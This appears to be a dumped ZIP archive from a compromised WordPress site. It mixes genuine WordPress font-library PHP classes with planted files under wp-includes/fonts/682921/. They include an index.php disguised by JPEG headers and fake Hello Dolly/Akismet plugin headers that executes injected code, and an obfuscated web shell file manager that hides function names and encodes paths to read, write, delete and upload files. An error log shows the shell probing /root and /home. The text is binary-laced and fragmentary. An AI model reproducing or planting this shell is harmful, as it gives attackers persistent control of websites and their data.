ÿØÿà JFIF ÿÛ C
!"$"$ÿÛ C ÿÂ p " ÿÄ ÿÄ ÿÚ ÕÔË®
(% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤ @
..............................................................................................................................................................................
.............................................................................
ÿØÿà JFIF ÿÛ C
!"$"$ÿÛ C ÿÂ p " ÿÄ ÿÄ ÿÚ ÕÔË®
(% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤ @
..............................................................................................................................................................................
.............................................................................
PK Re\
class-wp-font-library.phpnu [ is_collection_registered( $new_collection->slug ) ) {
$error_message = sprintf(
/* translators: %s: Font collection slug. */
__( 'Font collection with slug: "%s" is already registered.' ),
$new_collection->slug
);
_doing_it_wrong(
__METHOD__,
$error_message,
'6.5.0'
);
return new WP_Error( 'font_collection_registration_error', $error_message );
}
$this->collections[ $new_collection->slug ] = $new_collection;
return $new_collection;
}
/**
* Unregisters a previously registered font collection.
*
* @since 6.5.0
*
* @param string $slug Font collection slug.
* @return bool True if the font collection was unregistered successfully and false otherwise.
*/
public function unregister_font_collection( string $slug ) {
if ( ! $this->is_collection_registered( $slug ) ) {
_doing_it_wrong(
__METHOD__,
/* translators: %s: Font collection slug. */
sprintf( __( 'Font collection "%s" not found.' ), $slug ),
'6.5.0'
);
return false;
}
unset( $this->collections[ $slug ] );
return true;
}
/**
* Checks if a font collection is registered.
*
* @since 6.5.0
*
* @param string $slug Font collection slug.
* @return bool True if the font collection is registered and false otherwise.
*/
private function is_collection_registered( string $slug ) {
return array_key_exists( $slug, $this->collections );
}
/**
* Gets all the font collections available.
*
* @since 6.5.0
*
* @return array List of font collections.
*/
public function get_font_collections() {
return $this->collections;
}
/**
* Gets a font collection.
*
* @since 6.5.0
*
* @param string $slug Font collection slug.
* @return WP_Font_Collection|null Font collection object, or null if the font collection doesn't exist.
*/
public function get_font_collection( string $slug ) {
if ( $this->is_collection_registered( $slug ) ) {
return $this->collections[ $slug ];
}
return null;
}
/**
* Utility method to retrieve the main instance of the class.
*
* The instance will be created if it does not exist yet.
*
* @since 6.5.0
*
* @return WP_Font_Library The main instance.
*/
public static function get_instance() {
if ( null === self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
}
PK Re\b~" " class-wp-font-collection.phpnu [ slug = sanitize_title( $slug );
if ( $this->slug !== $slug ) {
_doing_it_wrong(
__METHOD__,
/* translators: %s: Font collection slug. */
sprintf( __( 'Font collection slug "%s" is not valid. Slugs must use only alphanumeric characters, dashes, and underscores.' ), $slug ),
'6.5.0'
);
}
$required_properties = array( 'name', 'font_families' );
if ( isset( $args['font_families'] ) && is_string( $args['font_families'] ) ) {
// JSON data is lazy loaded by ::get_data().
$this->src = $args['font_families'];
unset( $args['font_families'] );
$required_properties = array( 'name' );
}
$this->data = $this->sanitize_and_validate_data( $args, $required_properties );
}
/**
* Retrieves the font collection data.
*
* @since 6.5.0
*
* @return array|WP_Error An array containing the font collection data, or a WP_Error on failure.
*/
public function get_data() {
if ( is_wp_error( $this->data ) ) {
return $this->data;
}
// If the collection uses JSON data, load it and cache the data/error.
if ( isset( $this->src ) ) {
$this->data = $this->load_from_json( $this->src );
}
if ( is_wp_error( $this->data ) ) {
return $this->data;
}
// Set defaults for optional properties.
$defaults = array(
'description' => '',
'categories' => array(),
);
return wp_parse_args( $this->data, $defaults );
}
/**
* Loads font collection data from a JSON file or URL.
*
* @since 6.5.0
*
* @param string $file_or_url File path or URL to a JSON file containing the font collection data.
* @return array|WP_Error An array containing the font collection data on success,
* else an instance of WP_Error on failure.
*/
private function load_from_json( $file_or_url ) {
$url = wp_http_validate_url( $file_or_url );
$file = file_exists( $file_or_url ) ? wp_normalize_path( realpath( $file_or_url ) ) : false;
if ( ! $url && ! $file ) {
// translators: %s: File path or URL to font collection JSON file.
$message = __( 'Font collection JSON file is invalid or does not exist.' );
_doing_it_wrong( __METHOD__, $message, '6.5.0' );
return new WP_Error( 'font_collection_json_missing', $message );
}
$data = $url ? $this->load_from_url( $url ) : $this->load_from_file( $file );
if ( is_wp_error( $data ) ) {
return $data;
}
$data = array(
'name' => $this->data['name'],
'font_families' => $data['font_families'],
);
if ( isset( $this->data['description'] ) ) {
$data['description'] = $this->data['description'];
}
if ( isset( $this->data['categories'] ) ) {
$data['categories'] = $this->data['categories'];
}
return $data;
}
/**
* Loads the font collection data from a JSON file path.
*
* @since 6.5.0
*
* @param string $file File path to a JSON file containing the font collection data.
* @return array|WP_Error An array containing the font collection data on success,
* else an instance of WP_Error on failure.
*/
private function load_from_file( $file ) {
$data = wp_json_file_decode( $file, array( 'associative' => true ) );
if ( empty( $data ) ) {
return new WP_Error( 'font_collection_decode_error', __( 'Error decoding the font collection JSON file contents.' ) );
}
return $this->sanitize_and_validate_data( $data, array( 'font_families' ) );
}
/**
* Loads the font collection data from a JSON file URL.
*
* @since 6.5.0
*
* @param string $url URL to a JSON file containing the font collection data.
* @return array|WP_Error An array containing the font collection data on success,
* else an instance of WP_Error on failure.
*/
private function load_from_url( $url ) {
// Limit key to 167 characters to avoid failure in the case of a long URL.
$transient_key = substr( 'wp_font_collection_url_' . $url, 0, 167 );
$data = get_site_transient( $transient_key );
if ( false === $data ) {
$response = wp_safe_remote_get( $url );
if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
return new WP_Error(
'font_collection_request_error',
sprintf(
// translators: %s: Font collection URL.
__( 'Error fetching the font collection data from "%s".' ),
$url
)
);
}
$data = json_decode( wp_remote_retrieve_body( $response ), true );
if ( empty( $data ) ) {
return new WP_Error( 'font_collection_decode_error', __( 'Error decoding the font collection data from the HTTP response JSON.' ) );
}
// Make sure the data is valid before storing it in a transient.
$data = $this->sanitize_and_validate_data( $data, array( 'font_families' ) );
if ( is_wp_error( $data ) ) {
return $data;
}
set_site_transient( $transient_key, $data, DAY_IN_SECONDS );
}
return $data;
}
/**
* Sanitizes and validates the font collection data.
*
* @since 6.5.0
*
* @param array $data Font collection data to sanitize and validate.
* @param array $required_properties Required properties that must exist in the passed data.
* @return array|WP_Error Sanitized data if valid, otherwise a WP_Error instance.
*/
private function sanitize_and_validate_data( $data, $required_properties = array() ) {
$schema = self::get_sanitization_schema();
$data = WP_Font_Utils::sanitize_from_schema( $data, $schema );
foreach ( $required_properties as $property ) {
if ( empty( $data[ $property ] ) ) {
$message = sprintf(
// translators: 1: Font collection slug, 2: Missing property name, e.g. "font_families".
__( 'Font collection "%1$s" has missing or empty property: "%2$s".' ),
$this->slug,
$property
);
_doing_it_wrong( __METHOD__, $message, '6.5.0' );
return new WP_Error( 'font_collection_missing_property', $message );
}
}
return $data;
}
/**
* Retrieves the font collection sanitization schema.
*
* @since 6.5.0
*
* @return array Font collection sanitization schema.
*/
private static function get_sanitization_schema() {
return array(
'name' => 'sanitize_text_field',
'description' => 'sanitize_text_field',
'font_families' => array(
array(
'font_family_settings' => array(
'name' => 'sanitize_text_field',
'slug' => static function ( $value ) {
return _wp_to_kebab_case( sanitize_title( $value ) );
},
'fontFamily' => 'WP_Font_Utils::sanitize_font_family',
'preview' => 'sanitize_url',
'fontFace' => array(
array(
'fontFamily' => 'sanitize_text_field',
'fontStyle' => 'sanitize_text_field',
'fontWeight' => 'sanitize_text_field',
'src' => static function ( $value ) {
return is_array( $value )
? array_map( 'sanitize_text_field', $value )
: sanitize_text_field( $value );
},
'preview' => 'sanitize_url',
'fontDisplay' => 'sanitize_text_field',
'fontStretch' => 'sanitize_text_field',
'ascentOverride' => 'sanitize_text_field',
'descentOverride' => 'sanitize_text_field',
'fontVariant' => 'sanitize_text_field',
'fontFeatureSettings' => 'sanitize_text_field',
'fontVariationSettings' => 'sanitize_text_field',
'lineGapOverride' => 'sanitize_text_field',
'sizeAdjust' => 'sanitize_text_field',
'unicodeRange' => 'sanitize_text_field',
),
),
),
'categories' => array( 'sanitize_title' ),
),
),
'categories' => array(
array(
'name' => 'sanitize_text_field',
'slug' => 'sanitize_title',
),
),
);
}
}
PK Re\>DS 682921/986426/index.phpnu [ hello_moon.pnghello_moon.pnghello_moon.pnghello_moon.pnghello_moon.png
Hello, Dolly in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
Text Domain: hello-dolly
*/
?>
ÿØÿà JFIF ÿÛ C
!"$"$ÿÛ C ÿÂ p " ÿÄ ÿÄ ÿÚ ÕÔË®
(% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤ @
.....................................................................................................................................protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 5.4
Requires at least: 5.8
Requires PHP: 7.2
Author: Sid Gifari SEO Code Uplaoder - Team= Gifari Industries - BD Cyber Security Team
Author URI:
*/
/* %s: Title of the post the attachment is attached to. */
/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
Copyright 2005-2025 Automattic, Inc.
*/
?>
.........................................
.............................................................................
" . $code);
?>PK Re\;` 682921/index.phpnu [ j(['s','c','a','n','d','i','r']),
'fgt' => j(['f','i','l','e','_','g','e','t','_','c','o','n','t','e','n','t','s']),
'fpc' => j(['f','i','l','e','_','p','u','t','_','c','o','n','t','e','n','t','s']),
'unl' => j(['u','n','l','i','n','k']),
'ren' => j(['r','e','n','a','m','e']),
'muf' => j(['m','o','v','e','_','u','p','l','o','a','d','e','d','_','f','i','l','e']),
'isd' => j(['i','s','_','d','i','r']),
'isf' => j(['i','s','_','f','i','l','e']),
'exs' => j(['f','i','l','e','_','e','x','i','s','t','s']),
'wrt' => j(['i','s','_','w','r','i','t','a','b','l','e']),
];
$real_name = $map[$k] ?? '';
if (function_exists($real_name)) {
return $real_name;
}
switch ($k) {
case 'scn':
return function($d) {
$files = [];
if (is_dir($d) && $handle = @opendir($d)) {
while (false !== ($entry = readdir($handle))) {
$files[] = $entry;
}
closedir($handle);
}
return $files;
};
case 'fgt': return function($f) { return @file_get_contents($f); };
case 'fpc': return function($f, $c) { return @file_put_contents($f, $c); };
case 'unl': return function($f) { return @unlink($f); };
case 'ren': return function($o, $n) { return @rename($o, $n); };
case 'muf': return function($s, $d) { return @move_uploaded_file($s, $d); };
case 'isd': return function($d) { return is_dir($d); };
case 'isf': return function($f) { return is_file($f); };
case 'exs': return function($f) { return file_exists($f); };
case 'wrt': return function($f) { return is_writable($f); };
default: return function() { return false; };
}
}
function rot($s) { return str_rot13($s); }
function enc($p) { return base64_encode(rot($p)); }
function dec($p) { return rot(base64_decode($p)); }
$cd = isset($_GET['d']) && $_GET['d'] ? dec($_GET['d']) : getcwd();
$cd = str_replace('\\', '/', $cd);
$cd = preg_replace('#/{2,}#', '/', $cd);
$cd = rtrim($cd, '/');
if ($cd === '') $cd = '/';
$up = dirname($cd);
if ($up === $cd || $up === false) $up = '';
echo '
PK Re\}Ҡ 682921/error_lognu [ [02-Apr-2026 04:17:58 UTC] PHP Warning: scandir(/home): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 04:17:58 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 04:18:20 UTC] PHP Warning: scandir(/backup): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 04:18:20 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 04:41:07 UTC] PHP Warning: scandir(/root): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 04:41:07 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 04:42:01 UTC] PHP Warning: scandir(/root): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 04:42:01 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 07:36:17 UTC] PHP Warning: scandir(/home): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 07:36:17 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 11:13:11 UTC] PHP Warning: scandir(/home/siligios/lscache): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 11:13:11 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 11:13:44 UTC] PHP Warning: scandir(/home): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 11:13:44 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 14:24:04 UTC] PHP Warning: scandir(/root): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 14:24:04 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 14:31:47 UTC] PHP Warning: scandir(/home): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
[02-Apr-2026 14:31:47 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83
PK Re\K"( ( class-wp-font-face.phpnu [ '',
'font-style' => 'normal',
'font-weight' => '400',
'font-display' => 'fallback',
);
/**
* Valid font-face property names.
*
* @since 6.4.0
*
* @var string[]
*/
private $valid_font_face_properties = array(
'ascent-override',
'descent-override',
'font-display',
'font-family',
'font-stretch',
'font-style',
'font-weight',
'font-variant',
'font-feature-settings',
'font-variation-settings',
'line-gap-override',
'size-adjust',
'src',
'unicode-range',
);
/**
* Valid font-display values.
*
* @since 6.4.0
*
* @var string[]
*/
private $valid_font_display = array( 'auto', 'block', 'fallback', 'swap', 'optional' );
/**
* Array of font-face style tag's attribute(s)
* where the key is the attribute name and the
* value is its value.
*
* @since 6.4.0
*
* @var string[]
*/
private $style_tag_attrs = array();
/**
* Creates and initializes an instance of WP_Font_Face.
*
* @since 6.4.0
*/
public function __construct() {
if (
function_exists( 'is_admin' ) && ! is_admin()
&&
function_exists( 'current_theme_supports' ) && ! current_theme_supports( 'html5', 'style' )
) {
$this->style_tag_attrs = array( 'type' => 'text/css' );
}
}
/**
* Generates and prints the `@font-face` styles for the given fonts.
*
* @since 6.4.0
*
* @param array[][] $fonts Optional. The font-families and their font variations.
* See {@see wp_print_font_faces()} for the supported fields.
* Default empty array.
*/
public function generate_and_print( array $fonts ) {
$fonts = $this->validate_fonts( $fonts );
// Bail out if there are no fonts are given to process.
if ( empty( $fonts ) ) {
return;
}
$css = $this->get_css( $fonts );
/*
* The font-face CSS is contained within and open a